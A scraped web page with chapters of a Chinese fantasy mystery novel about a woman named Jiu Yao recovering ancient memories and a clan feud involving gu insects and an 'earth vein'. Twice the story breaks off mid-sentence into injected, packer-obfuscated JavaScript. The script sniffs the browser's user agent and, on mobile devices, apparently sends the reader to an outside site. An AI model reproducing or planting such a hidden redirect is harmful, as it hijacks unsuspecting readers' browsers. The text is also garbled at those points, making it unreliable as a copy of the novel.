江十七却拦住他们:“不能报警!”他压低声音,“你们也说了,那帮人有枪,真让警察逮住了,就说不清楚了。本来也是很多年的宿敌,双方都有过死伤,而且宴哥对他们早有防备,不会有事的。” “我这趟过来,就是宴哥担心这种情况发生,他来不及跟你们讲清楚,所以他让我在山脚下守着你们,等他处理完事情就会过来与我们会合。” 听江十七这么说,沈半人他们似乎也不好再坚持,还在迟疑的时候,江十七已经拖着他们朝停车场走去:“好了,别想了,我带你们先吃晚饭去。” …… 江十七果然没骗他们,他在镇上的火锅店早订好了位置,还提前说明了是四个人用餐。 四个人坐进宽敞的包厢内,冷气已经提前开足,饮料酒水都倒的好好的,十七笑着招呼:“别客气,多吃点。我本来想订个饭店的,但是一想你们吃了这么多天的干粮,嘴里肯定没味,所以就安排了火锅给你们接风。” 沈半人非常满意,他从最后一次离开杭州,就再没吃过火锅了,这家锅底十分正宗,辣锅辛香,菌锅鲜美,涮菜也非常丰盛,很对他的胃口。靳川和九瑶都是第一次吃火锅,适应良好,体验感也相当不错。 江十七看他们满意,比自己吃着满意还要开心。 酒过三巡,菜过五味,几个人开始谈天消食。江十七有点好奇他们在青铜地宫里的经历,三个人便慢慢讲于他听。谈到九瑶身份的线索时,沈半人感叹:“算是收获巨大吧,我们今天在路上理了下,已经有三条很清晰的线索了。” “哦?”江十七静待详情。 “第一,九瑶的情况现在无非两种可能,魃或者长生术。目前看来,我们和江宴的想法一致,长生术的可能性更大,但具体要验证的话,得知道长生术的弊端是什么。” 沈半人吃了一片西瓜,润润嗓子,继续道:“现在鱼国人的线索已经断了,但我们又有了一条新的线索。” “什么?”十七好奇。 “就是第二条线索,有个女人,在很多年前,甚至江宴还没出生的时候,曾拿着跟九瑶一样的匕首,去过青铜地宫,目的和江宴一样,寻找通往昆仑神界的路……” “宴哥连这个都跟你们说了?!”十七突然惊讶的打断,“不是吧,他怎么跟你们说的啊?!” 沈半人和靳川闻言一脸不悦地看着他:“我们跟他在青铜地宫里好歹也是出生入死了,朋友间分享点事情有什么问题吗?” 十七尴尬的喝一口果汁:“当我没说,你们继续。” 沈半人接上思绪:“而且这个女人,似乎认识你们江家人,或者,至少她认识祖巫氏,知道祖巫氏的神血可以超度亡灵。” “如果目的真的和宴哥一样,那她肯定认识江家人。九瑶小姐,能不能借你匕首看一看。”十七郑重道。 九瑶取出匕首,递给江十七,十七仔细观察了一会儿,除了材质特殊外,其余倒并没有什么特别的印象。 “我们三个下山的时候已经就这个女人的身份展开了讨论,”沈半人继续道,“我们怀疑,她跟九瑶很可能是同族,她们都是拥有长生术的人,那把匕首就是他们身份的一种象征。” 十七将匕首双手递还给九瑶,“还有第三条线索呢?”他问沈半人。 “第三,九瑶在冥河的水里非但不会沉没,还能如鱼得水,行动自如。这条线索意义就更大了,因为即便是神,也不可能都有这样的能力,所以我想等江宴把神谱翻译出来,我们找一找跟冥河相关的神衹,应该就能有所启发。” 吃完饭,时间还早,十七知道他们还在记挂江宴的安危,不想他们太过焦虑,便提议带他们去逛商业街,正好也添置些服装和生活用品。 这镇上只有一条商业街,都是古色古香的唐风建筑,被昏黄的灯光点染出一点点金碧辉煌的意境来。因着秦岭的名气,古镇虽偏,却也游人如织,来往的男女老少,有很多穿着汉服的,在打卡拍照。 九瑶看着那些花花绿绿的女孩子们,又想起来井姬,再看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740964|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己,不怪井姬嫌弃她的穿着。正暗自失笑,忽然有个陌生的女孩子走过来同她说话。 “这位小姐姐,您长得真好看,而且身上有一种说不出的古典气质,方便问下您能不能做我们的模特?” 九瑶不太懂模特是什么意思,而且也不感兴趣,礼貌的摇头拒绝了,谁知那个女生去而复返,还带过来一个扛相机的小伙子。 “美女你好。”小伙子礼貌的打招呼:“是这样的,我们今天要拍一个‘神明少女’的古风写真,结果模特刚打电话来说出了点小意外,赶不过来了,但我们今天已经租下场地,服装和化妆师也都带来了,刚才我在人群里一下就看中了您的气质,您可以抽出一点宝贵的时间帮我们一个忙吗?我们可以付您时薪,照片拍好了,我们还会寄一套精修的给您留作纪念。” 九瑶仍想拒绝,但沈半人和靳川他们忽然都鼓动她去试试,反正也没什么事做,女孩子哪有不喜欢穿漂亮衣服的。 九瑶随化妆师去换衣服,做妆发。沈半人、靳川和江十七三个人找了个路边公共长凳坐下来边聊边等。 临近中秋,天上的月亮银盘似的又圆又亮,夜色如水,灯火阑珊,这一刻,静下心来,似乎真的能感受到人间美好。 九瑶出来的时候,三个人差点都没认出来,明明还是那张脸,气质却迥然不同。她整个人仿佛被月色镀了一层柔光,连头发丝都闪耀着淡淡的光辉,美丽温婉之中,还透露出几分庄重和神性,如同神女临世。 这套装扮明明刚才从图册上看过,就是最简单的素纱绸带,连花纹都没有,但穿在她身上就有一种说不出的惊艳脱俗,好像她本该如此一样。 路人也忍不住驻足欣赏,拍照声、惊叹声络绎不绝。 沈半人他们看的呆怔了,他们一直都知道九瑶长得好看,但正是因为太好看了,加上九瑶的特殊身份和能力,又让他们时刻有一种跟古人待在一起的感觉,像对老祖宗一样,根本不敢有任何想法。 “哎呀,可惜我们宴哥没看到!”江十七回过神来无限惋惜,突然又想起来自己带了手机,赶紧掏出来拍照留存。 “怎么,想撮合九瑶和你宴哥?”沈半人调侃他。 “是啊!”十七坦率承认,“你不觉得他们两个很般配吗?” “配是配,”沈半人认同,“不过,不是我打击你啊,你们宴哥看上去不太会哄女孩子,偏我们九瑶呢,在这方面也不太开窍,他俩估计悬。” “打赌吗?”十七不服气。 “赌什么?” “赌能不能喝上我们宴哥和九瑶小姐的喜酒!” 八字都还没一撇,他已经在畅想喜酒了,沈半人一脸怜惜地看着他:“赌啊,反正我又不亏!” …… 25. 第 24 章 十七安排的住宿,是位于山脚下的一个四合院民宿,位置有点偏,但环境十分清幽。 进门的院子里,是古色古香的中式花园,青石板铺的路面,中间栽了一棵很大的石榴树,这个季节了,石榴花依旧开的满满当当,如火如荼。树下有一张石桌,围着一圈石凳。院子东北角还有一个石头砌的很大的水池,里面养着几条色彩斑斓的锦鲤。 十七把他们三个人送进院子南面的一个门里,那是个内院,里面恰好有三个房间,都带独立卫浴,空调、电视一应俱全,床上的被褥枕头等全是崭新没用过的。 “明天早上不用急着起床,多睡睡,我跟店家打过招呼了,需要早饭的话明天打个电话让他们直接送过来就行。” 沈半人看了眼时间,已经是晚上10点多了,江宴还没有消息,他想想还是不太放心:“十七,要不还是联系救援队进山找找吧,夜里山上太危险了。” “放心吧,宴哥应付的来,再说也不是第一次在山上过夜了。”十七语气轻松,“车上有备信号弹,真有什么问题,他会跟我联系的。” 安抚完他们,十七出了内院,他的房间在院子另一侧的北门里。 夜里,十七刚有一点睡意的时候,听到隔壁房间发出一点轻微的响动,他赶紧起来,用水抹了把脸,走出房间。 十七进去的时候,江宴在浴室洗澡,房间的桌上散着几瓶喝完的矿泉水瓶,还有一个刚用完餐的食盒。 十七把房间收拾了下,从柜子里的行李箱中翻出一个医药盒,放在刚收拾好的桌子上,又把盒子里的消毒水、医用剪刀、纱布等一一取出来摆好。 江宴湿着头发,裹着浴袍从洗手间出来,十七一看见他立刻笑靥如花:“宴哥,你回来啦!” 江宴“嗯”了一声,拿毛巾擦头发,问:“怎么样,玩的还开心吗?” “放心,我给他们安排的妥妥贴贴。”十七自豪道。 在这些事情上,江宴倒从没怀疑过十七的能力。 “不过,他们好像下一步还没有什么具体的打算,说要等你翻译好神谱,看过神谱再说。宴哥,我们带着他们是不是不太方便。” 十七有点纠结,虽然路上多几个人是热闹些,而且沈半人他们几个也确实挺有趣的,但他和江宴做的事情,又不太适合让外人参与进来。 江宴想了一下:“他还没掌握隐藏神血气息的术法,不方便也要带着,况且我还没弄明白九瑶小姐的身份。” “宴哥,”十七试探地问,“你帮他们究竟是单纯出于善意,还是跟太爷要我们做的事情有关?” 江宴换好衣服,在桌子旁坐下来,这个问题倒是让他略微纠结:“起初,可能只是想帮他一下,但去过一次青铜地宫后,发现那位九瑶小姐,她的来历不管是跟神界,还是跟虞山,都有很大的关联。” “地宫的事,我都听他们说了。”十七今天听到的时候也非常意外,“你有想法了吗?” 江宴没说话,十七知道他这个态度多半是心中已经有眉目了,但情况复杂,在完全弄清楚前,他一般不会多言。 看来这一行三人,注定要风波不断,跟在宴哥身边,对他们反而是最安全的。 江宴拿出那把取血用的小刀,用桌上的消毒药水擦拭过,动作熟稔的划开胳膊上一条已经永久留痕的伤口,细细的血线很快冒出来,顺着胳膊往下流淌。不一会儿,一只紫黑色的蛊虫,爬上江宴的胳膊,沿着血线流淌的轨迹,开始吸血。 十七有点心疼:“这只蛊还要养多久?” 江宴也不太确定:“最多再有四年吧,应该就能养成了。” 蛊虫喝饱了血,从江宴的胳膊上一路爬下来,钻进桌子上的一块黑色玉牌里。那玉牌是个吊坠,平时江宴都挂在脖子上,看着平平无奇,其实是祖巫氏专门用来养魑鬼的。 魑鬼以神血供给者为宿主,靠食宿主血液维持生机,作为回报,魑鬼会根据自身的能力为宿主提供各种不同形式的效劳。 江宴的这只魑鬼,原身是苗疆的一种蛊虫,通人语,解人意,是专门用来搜集情报的。 十七见他喂完了蛊虫,赶紧动手给他处理伤口。消毒、上药、包扎,一气呵成,动作游刃有余,比起之前倒是又进步了不少。 “今天有收获吗?”十七一边收拾东西一边问。 江宴从椅背挂着的裤子口袋里,摸出一枚黑色的小石头,放在桌子上。 十七好奇的凑过去,一只手捻起,仔细观察,并没看出什么玄机来:“这是什么?” “是地脉。” 十七惊的下巴差点脱臼,立马改为双手捧着,不可思议道:“这就是地脉?这么小?” 江宴不置可否:“这只是地脉的一块碎片,是我让魑鬼从他们身上逼出来的。” “会不会有诈?”十七觉得不对劲,“江离他们明知道我们是冲着地脉回的虞山,会这么轻易让我们拿到手?” “你还记得我们刚回来的时候,路过藏民村遇到的那个屠村怪物吗?” 十七回想了一下,他记得那怪物长着石头一样坚硬的皮肤,力气大的能把人撕碎,最恐怖的是,那怪物杀不死。 “那就是尸魃。”江宴肯定道,“结合那件事来看,尸魃跑出来了,不是江离他们有意为之,而是因为地脉出问题了。” 十七越听心越惊,特别是听到地脉出问题,呼吸都停顿了一下。 江宴感受到了他的不安,安抚道:“他们应该暂时还能应付。那个尸魃后来就是江忍带走的,说明情况还没完全失控。” “但要彻底解决会很棘手,所以才干脆摊到我们面前来,想拉我们一起下水。” 难怪这么大方的送货上门,十七吐槽:“他还挺有自知之明的,知道自己解决不了问题了,转过头来向我们寻求合作。” 江宴没说话,突然起身从床肚底下掏出一团打包好的包裹,翻开,里面血迹斑斑,最里面一层,包着一摊金属碎片。 十七认得出,那是江宴的护甲,跟了他有十多年,从来都没有什么大的损伤,是关键时刻保命用的东西。 江离动了真格,他是真的想让他们死。而且明目张胆,无所顾忌。 十七脑子里“腾”的一下怒火窜上来:“他疯了吗?!不管怎么说大家是亲兄弟,就算立场不同,也不至于火拼到你死我亡的地步吧?!” 江宴早料到他会如此激动,也早想好了如何让他冷静:“很意外吗?想想太爷是怎么对他们的,就不意外了吧。” 果然十七一听太爷立马噤声,太爷的狠厉和决绝,是刻在江家人骨子里的恐惧。 “十七,跟他们打交道的时候,要如同跟太爷打交 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九瑶知道自己在做梦,一个很美好的梦。她穿着轻软飘逸的素纱长裙,蝉翼般宽大的袖袍被一根赭色的绸带束起,乌黑如瀑的长发挽成一条长长的发辫,一直垂到了裙摆。 她对着清澈的溪涧,用黛石描眉,杜鹃染唇,如雪的肌肤上,一双清滢眼眸神采照人。 今天是跹岁节,大荒会有一场盛典,少男少女们会用最翩跹的舞姿,在晚霞盈天的时候祭神酬愿,还要给神明献上大荒最美的花朵。 今年的跹岁节办的格外的隆重,三帝居然都来了,九瑶献完祭神舞,晚霞恰好盈满天空,她同族人便在这绯红色的暮霭中一起跪拜三帝,感谢神明赐予他们生命,感谢神明庇佑大荒,给他们带来了播种的种子,治病的草木和柔软的衣裳…… 突然,画面一转,长夜不知何时降临。 天空中布满闪电,细条条,蛇一样,盘根错节,恐怖万状。 “轰隆!!!” 耳边惊雷炸响,大地震颤,仿佛有千军万马,溃败逃亡。 九瑶也在逃亡,脚步踉跄,呼吸凌乱,漫无方向…… 恐惧绝望的情绪流转在逃亡的人群中,不断地有人被天雷击中,惨叫着化为一簇簇颤动的火团。 他们曾经熟悉而亲切的家园,此刻变成了人间炼狱。 有人跪俯在地上,双手贴地,哭泣着祈求:“求天神垂怜!” “求天神垂怜!” 越来越多的人开始效仿,他们绝望的,无助的,痛苦的跪俯着,哀求天神的宽恕,哀求天神能够重新垂怜他们。 …… “轰隆!!!” 雷声撕裂天空淹没了他们的呼唤,耀目的闪电如同巨型章鱼,伸出无数的触手,从天而降,无情地击中那些跪伏在地的祈求者。 九瑶旁边那个族人脑袋瞬间被削去了一半,浑身燃起熊熊大火,浓烟烈火中似乎还能听见他用最后一丝力气嘶哑喊出的:“求天神垂怜……” 天神不会再垂怜了…… 九瑶没命的跑,她的衣裙被大荒的泥水弄的一片脏污,头发早已经散开了,水草般在夜风里凌乱的舞动,身边的族人一个接一个的倒在了天雷的酷刑下,身躯变成了一个个燃烧的火把,仿佛最后一次为她照亮前行的道路…… 26. 第 25 章 送走十七,江宴仿佛过了觉瘾,在床上翻来覆去的睡不着,一时想起扣下来的那些人还关在山凹里,等天亮了还要再找个时间去审一审。 一时又想起地脉的事,地脉坏了,他已经把消息递出去了,太爷还没有给回复,不知道太爷有没有修复地脉的方法。 一时又想起了九瑶,她跟上上任家主身边的那名女子会是同族吗?关于那名女子,江宴目前掌握的信息非常少,只知道她很神秘,就连太爷也并不完全了解她的底细。 但太爷知道的总归要比自己多,可他又不能贸然去问,假如太爷要做的事情对那女子不利,那自己去打听很可能就暴露了九瑶。 那么,弄清楚那女子的身份,就尽量不能从太爷这里入手,而应该从虞山入手。 找到突破口,可能心情略微放松了些,困意便慢慢席卷而来。睡的迷迷糊糊时,听到门外老远处传来熟悉的说话声,语气还有点紧张,江宴从床上爬起来,快速的漱了口水,抹了把脸,披上外套走出门去。 一进院子,看见九瑶坐在石榴树下,沈半人和靳川围在她旁边,一脸关心。 “江宴?”沈半人和靳川突然看见江宴还有点意外,“你什么时候回来的?” “今天凌晨。”十七赶过来替他回答,“宴哥回来太晚了,我看你们都睡着了,就想等你们醒了再告诉你们。九瑶小姐怎么回事?” “做噩梦了吧。”靳川猜测,“昨天还好好的,醒过来突然就变得魂不守舍了。” 江宴看她脸色不对,知道这噩梦必不寻常,问道:“九瑶,你是不是梦到了跟自己过去有关的事情。” 果然江宴的话提醒了九瑶,那场梦境太完整,太真实,不像是凭空生出的幻想,那就是她的过去。 “我记起来了。”九瑶突然开口,声音已经平静了下来,语气却与从前迥然不同。 “我知道了我是谁。” 我是这个世界诞生的第一批人类,神创造了我们,教会我们语言,让我们学会了沟通,教会我们织布和耕种,让我们同他们一样,可以穿衣御寒,不必依赖打猎,就可以有稳定的食物果腹。 除了文字,神几乎把他们所有的知识,都传授给了我们。 我们是最接近神的那一批人,我们的生命几乎与神一样的悠长。 那时候昆仑之门还没有关闭,神界就在昆仑之丘的最高处,而我们生活在神的脚下,那片土地叫做大荒。 我们每一个人,都崇拜着神,依赖着神,而神也始终垂怜着大荒。 他们会派遣天神和天女,来大荒居住,帮助人类一起建设大荒。 女妭,便是众多天女当中的一位。 那时的大荒,除了生活着神所创造的人类,还生活着各种各样的洪荒部落。 夸父族的每一个夸父,身躯都像山丘一样的高大。 羽人族个个面目姝丽,身披羽毛,在每个重大的庆典上,都会看到他们自由翱翔的身影。 还有长着一只眼睛,却可以望见千里之外的一目族。 我们都是神的子民。 但也有性情乖张,喜欢逞强斗狠的部落,在他们面前,人类终归是渺小而脆弱的,常常毫无反击之力。 直到,蚩尤…… 他是个醉心于各种石器和金属的古神,是他教会我们制造各式各样锋利的武器,鼓励我们拿起武器,去反抗那些欺凌和掠夺我们的大荒野蛮者。 但也正是因为拥有了武器,在人类的心中,开始埋下了名为‘战争’的种子。 起初,我们只是想守护手里的食物,守护自己的族人和家园。 可是时间久了,这种守护就变了,变成了想要抢夺更多的食物,想要有更多的子民和更大的家园。 这种可怕的欲望,像疾病一样,在人类之中悄悄的蔓延、泛滥。终于,寻得了一个契机,彻底的爆发了。 万年前,炎帝和黄帝联手,在涿鹿之战中打败了蚩尤并杀死了他。神界因为这场战争,损失惨重,元气大伤,因此无暇顾及当时的人类。 而人类,也开始效仿神明,互相厮杀。 他们中,有一些人,甚至胆大包天到想要去抢夺神的东西,他们甚至将屠刀对准了他们信仰的神。 于是天神发怒,降下雷火,族人尽皆死去,连大荒的迷穀花也全都烧成了灰烬。 可是,并不是每个人类,都贪婪好战,并不是每个人类,都背叛了自己的信仰,违背神的旨意,神却一视同仁的降下了神罚。 那场天火烧了整整一年,据说第一批人类全都死在了大火里,他们被烧焦的骸骨,永远的留在了大荒。 “那你是怎么活下来的?”沈半人掐重点问。 九瑶答不上来,她不知道,在久远的过去,她曾见证了第一批人类的灭亡,但她却并未能看到自己的结局。 “别太勉强。”沈半人看她的样子一时半会儿肯定是想不起来了,安抚道,“毕竟是万年前的记忆,已经记起来很多了,别的以后再慢慢想吧。” 江宴离开院子的时候突然问:“十七,昨天有没有发生什么特别的事。” “没有啊,”十七纳闷,“不知道这个算不算,”他掏出手机,翻到自己昨天拍的照片,递给江宴看,“昨天有个拍写真的摄影团队,邀请九瑶小姐拍了一组古风写真。” 江宴看到照片,明显的愣了一下。 十七捕捉到了,紧张的问:“怎么了吗?” 江宴回过神来,摇了摇头,是这些照片,确实有点洪荒遗民的风采。 “十七,昨天九瑶小姐换衣服的时候,有没有把匕首交给你们保管?” “没有啊,她的匕首一直随身携带,只在饭桌上给我看过一会儿。”十七说完,突然想到了什么,他看向江宴,从江宴的眼中再次肯定了自己的猜想。 “我出去一下,你给他们叫早饭。”江宴嘱咐。 “好。” …… 虞山 江离知道江忍会来兴师问罪,只是来的比想象的快,怒火也比想象的要大。 江忍摔门而入,将一杆长枪掷在地上,厉声质问:“江离,我只是叫你不要让他回来,没叫你去杀他吧!谁让你自作主张的?!” 江离道:“那是我理解错了,我以为你是永远都不想再见到他了。” “是你理解错了,还是你想借我的手,除掉他?!” 江离不想在这时候跟他闹翻,笑着安抚道:“别生气嘛,他不也没事嘛!” 江忍气极:“他没事,是他命大,不是因为你对他留了手!” “江离,从你知道江宴要回来的第一天开始,你就策划了一系列针对他的事情。你故意将他引到尸魃面前,想借尸魃的手杀他,结果发现他的修为比想象的要强。” “你又故意激他去救那个沈家的遗孤,你跟我说是试探他的能力,其实我们谁都知道,封印一个疯魔状态下的神魃,不亚于毁掉半身修为!” “如今你又带着地脉去杀他,难道还不是司马昭之心,人尽皆知吗!” “知道又如何?”江离冷漠道,“我们本就是死敌,我又不是他爸妈的养子,没有义务照顾他们的心情吧?” 江忍看着他,摇了摇头,语气满是失望:“江离,你以为我只是为了我养父母才不让你动江宴的吗?” “你这么聪明,从江宴回虞山开始,就知道用我来牵制他,你知道他感激我对他父母的照顾之心,就算在虞山吃再多的亏,都不会真正跟我们翻脸。” “但是你难道看不出来吗?江宴也是唯一可以帮我们牵制太爷的人,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749471|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少有他在虞山,我们就不必担心虞山随时会血流成河! “他不是太爷手里唯一的牌,却是唯一一个心还向着虞山的人,你把他弄死了,就不怕太爷发疯屠了虞山吗?!” “结果还不是一样的。”江离无动于衷,“他只是怀柔而已,但他的目的和太爷手里所有的牌都一样,他始终是太爷的人。” “你杀了他,然后呢?”江忍反问,“等着太爷再出一张牌来,还是你我把虞山这些人全都召集起来,直接跟太爷火拼?” 江离突然笑了起来:“江忍,你的名字跟你的性格还真是相配。你能忍,但我不愿忍,如果太爷他无所顾忌,我也没什么好顾忌的。十九年前倘若是我当家,必定不会让虞山落入如此被动的局面。” 江忍明白了他的意思,一股寒意自胸腔蔓延开来,直凉到指尖,他握紧拳头,克制自己的情绪:“我们,只是和他们立场不同,但并没有丧尽天良!那天藏民村的惨状你也看到了,你的内心真的毫无波澜吗?” 江离没有说话,江忍知道他良知尚存,只是性格太过刚强孤傲,很容易走极端,必要时必须激他一下。 “江离,我答应你们的,自始至终只是守护虞山的族人,并不包括把屠刀对准自己的兄弟,和外面那些无辜的人。” “现在地脉已经出了问题,要么我们一起想办法解决问题,要么就让虞山再分一次家好了!” 江离听出他这次是真的恼了,权衡片刻,决定先退一步:“好了,你我也不必说这些重话。江宴那边,我答应你,暂时不会主动去招惹他,反正地脉出问题的事,我已经透露给他了,估计他一时半会儿回不了虞山。” “还有那个叫九瑶的,”江忍突然想起来,“她的事你为什么不告诉我?” 提到九瑶,江离目光几不可见的冷了一下,但他们刚因江宴的事起冲突,实在不宜再激化矛盾,于是如实相告。 “江宴封印旱魃的那一天,我只是对她的来历有所好奇,后来去查发现完全没有与她相关的任何记录。一个人,活在这世上,怎么可能一点记录都没有,我这才产生了怀疑。” “只是后来,江宴一直在她身边,我始终找不到机会进一步确定我的想法,直到昨天,我发现她身上,有跟那个女人一模一样的匕首。” “你见到那匕首了?”江忍还是有点怀疑。 江离打开手机,调出相簿里的一张照片给他看,这张照片是偷拍的,但拍的很有水准,匕首的样式、细节都拍出来了,跟地祠里锁着的那一把,一模一样。 江忍心中闪过一丝不安:“她来……做什么?” 江离耸了耸肩:“不知道。我都说了,我们那能干的弟弟,自从封印旱魃以后,就把那三个人一直带在身边,就算走开一会儿,也会让十七立刻补上,我想调查也很难入手啊。” 江忍才不信他的鬼话:“还有你办不到的事?” “我要是真想办的话,也确实可以办到。”江离微笑道,“不是顾及你嘛,你又要保你养父母的命,又要照顾他们的心情,我这个做弟弟的,两头为难。” 江忍冷哼一声,没有理他。 江离知道他气消了,突然心血来潮:“忍哥啊,我的人到现在都没回来,你猜他们还能活着回来吗?” “你想说什么?” “没什么,我就是想,我要是江宴,既然这么想知道地脉的下落,最省事的做法就是杀了那几个人,把他们的尸体丢回虞山。” “到时不怕我们不去动地脉,而他只要黄雀在后,自然能探到地脉的具体位置。” “他可不是你,你自己工于心计,不择手段,就觉得别人都和你一样吗?” 江离毫不介意他的挖苦,微笑道:“你也不是他,你怎么知道他不是和我一样的人呢?” 27. 26 秦岭,一处山凹。 这是个位于两座山峰交界处的窄长形的山凹,有点类似蟒蛇洞,位置很隐蔽。山凹的高度不太够,只有1.7m高,人在里面站不直身体。 江宴坐在山凹里一块凸起的风蚀岩上,正居高临下的审问眼前的人。 “谁在查九瑶,为什么要查她?” “离……哥,匕……首……” 那人一字一顿地回应着,只是发出的声音非常怪异,不像人的声音。 那也确实不是人的声音,而是蛊虫的声音。 江宴的魑鬼,是苗疆的一种特殊的蛊虫,叫小神蛊,这种蛊最大的特点,就是“善解人意”,指字面意思。 但它“解人意”的方法,可不是传统的相面、聊天、相处的方式,而是由蛊王,撒下子蛊,子蛊从“被了解人”的七窍进入他的脑干,从而去影响他的脑神经,再逐步掌控他的思维能力、记忆能力、和语言能力。 一旦种了这种蛊,人就会不由自主地把脑中所思所想,通过神经作用传递给子蛊,子蛊再利用人的语言系统复述出来,从而盘问出人心中的秘密。 除此之外,人潜意识里的东西,那些深藏于心的,和被遗忘的记忆也可以通过蛊王入脑,来进行海市蜃楼般的绘景展示。这一招不仅对活人管用,对死人,只要大脑保存完整,也依然管用。 不过江宴的这只小神蛊还很年轻,所谓七年养一阶,目前才养了三年,许多技能还没解锁,但用它做一个盘问套话的小工具,还是绰绰有余的。 而且因为是直接侵袭神经系统,用它套出来的信息,百分之百真实,不用害怕对方说假话误导自己。 只是,蛊王年轻,子蛊就更年幼了,有时掌握不了分寸,对种了蛊的人来说,那可就是天大的酷刑,特别是那些身强力壮,意志力又非常顽强的人,往往一不小心,就被折磨成痴呆疯子,甚至七窍流血而亡。 所以江宴也是从心底里对江离有些刮目相看,至少他派来的人当的起“死士”二字。若不是有魑鬼阻着,他们早自绝几百次了。 江宴昨天给他们下第一遍子蛊,盘问了几个小时,直到地上横七竖八倒了一片,才从最后一个人嘴里套到了那两个带着地脉碎片逃遁的人的下落,害得他驱车猛追400公里,拿回碎片,都没有力气把那两个人一起绑回来。 今天原本是来审尸魃的下落的,中途插进来九瑶这件事,虽然没问出什么特别有价值的信息,但至少确定了九瑶确实跟上上任家主身边那个女子有关,而且虞山那部分人里,还有人知道这件事的来龙去脉。 江宴让那个人休息了一会儿,其实也是让蛊王休息一会儿,等到蛊王喝饱了血,子蛊也明显更加过活跃起来。 江宴抓住时机,问:“那个屠村的尸魃,被送到哪里去了?” “龙……” “龙什么?” “龙……”那人吐出一口血来,江宴闪避不及,血溅到了衣襟上。 他皱了皱眉,心里面有点责怪自己的大意,早上走的急,也没有带衣服来换,看来又要等到天黑再回去了。 那人看上去也已经到极限了,如果连续三天叫魑鬼用刑,怕是要彻底废了,下半辈子都得成为一个痴呆。 江宴拎起他的衣领,拽着他,让他瘫软的身体有个力支撑:“龙什么,继续说。” 脑子里的蛊虫,感受到了宿主的气息,钻动的更加频繁,那人痛的浑身筛糠般抖动,下身开始失禁。 “龙潭……”像是被鬼上身一样,那人不由自主地尖叫出声:“龙潭镇!” 声音戛然而止,人已经彻底昏死过去,额边暴起的青筋,撑破了皮膜,渗出血来,像个张牙舞爪的血蜘蛛横在那里。 江宴摘下脖子上的魑鬼牌,蛊王从鬼牌里探出身来,待子蛊从那人鼻孔里爬出来,便一口吃掉了子蛊。 …… 十七一向浅眠,也一直在留心着江宴房间的动静,所以当房门被推开的时候,一下就从床上坐起。 “宴哥。” 见他洗过澡,却又换上了行装,问道:“你要出去?” 江宴只“嗯”了一声,问道:“九瑶小姐后来怎么样?” 十七回忆:“上午一直在房间里,应该是昨晚上没睡好,补觉。吃过饭状态好多了,你不在,她还问我你去哪里了,我说你有点事情要处理,晚点就会回来。” 江宴点了点头,放心下来:“我要去一趟龙潭镇。” 十七没听过这个地方,但随即便猜到:“是地脉在那里?” “可能在。”江宴没说死,“这趟你就不要去了,沈半人还需要有人帮他压制神血气息,而且虞山已经盯上九瑶了,你要多留心,以九瑶的身手,只要提前防范,你们自保不是问题。” “他们为什么会盯上九瑶小姐?”这个问题,十七早上就想问了,“是不是跟那个拿着和九瑶小姐一模一样匕首的女人有关?” “虞山上上任家主,江昱,出事的时候,身边出现过一个女人。” 十七震惊:“真的跟江家有关啊,那个女人是什么身份,她和家主的死有关吗?” 江宴摇了摇头:“不知道。当年家主出事的时候,太爷一直在国外学医,太爷的祖父不想他参与到虞山的事情里去。” “后来家主这一派的人,包括太爷的祖父,全都死了,相关记录也都被抹除。现在,只有留在虞山的那几个核心人物,知道事情的来龙去脉。” “我这趟去龙潭镇,也顺便打听一下那个女人的事情。” “宴哥,我也想和你一起去。”虽然知道江宴不会轻易改变决定,十七还是想再试一次,“如果地脉真的在龙潭镇,那尸魃也会在,你一个人去我不放心。” “我只是去探一探消息,”江宴安抚他,“地脉在不在还是没影的事呢,再说,除非地脉彻底坏了,否则他们还能放尸魃出来对付我吗?” “那个江离,他有什么事情做不出呢?” “十七,虞山,现在至少还是江忍当家,他不会允许江离这么做的。” 十七把江宴送到院门口,发现沈半人和靳川已经坐在那棵石榴树下喝茶了,树上还挂了两盏露营用的驱蚊灯。 “两位好雅兴,凌晨3点半,在这儿观月赏星?”十七有些好笑地问。 沈半人摇摇头:“是在这儿,守株待兔呢。” 嗯,守是守的石榴树,不过待的可不是笨兔子。 江宴走上前,也在石桌旁坐下来,靳川倒了两杯茶,一杯给他,一杯给跟过来的江十七。 “兔子来了,说吧,把你疑惑的,心中推测的都说出来。”江宴笑着道。 “好的。第一,那天在山上遇到的那些追杀你的人是谁?”沈半人直接开门见山,“十七说是你们江家的宿敌,我看是假的吧。” “为什么?”江宴喝了口茶,竟然是石榴口味的,清清淡淡的酸甜口感,还挺增加谈兴的。 “我听十七说,你们离开虞山十几年了,这十几年的时间甚至连个电话也不让你们打回去。我生在江浙沪地区,说实在的什么变态的苛刻的教育方式都见过了,还从没见过这种。再结合你们的家庭背景,我猜到了一种可能,那就是带你们走的人,不希望你们跟虞山再有联络。” 沈半人说着,也喝了一口茶,润润嗓子。 “但他却又放你和十七回到虞山,为什么呢?他不想你跟十七对虞山有感情,总不至于再把你们放回来陪养感情吧。所以他放你们回虞山是有目的,而这个目的对现在虞山当家的人来说,绝对不是什么好事。” “怎么看出来不是好事的?”江宴听的兴致勃勃,通过提问引导沈半人继续往下说。 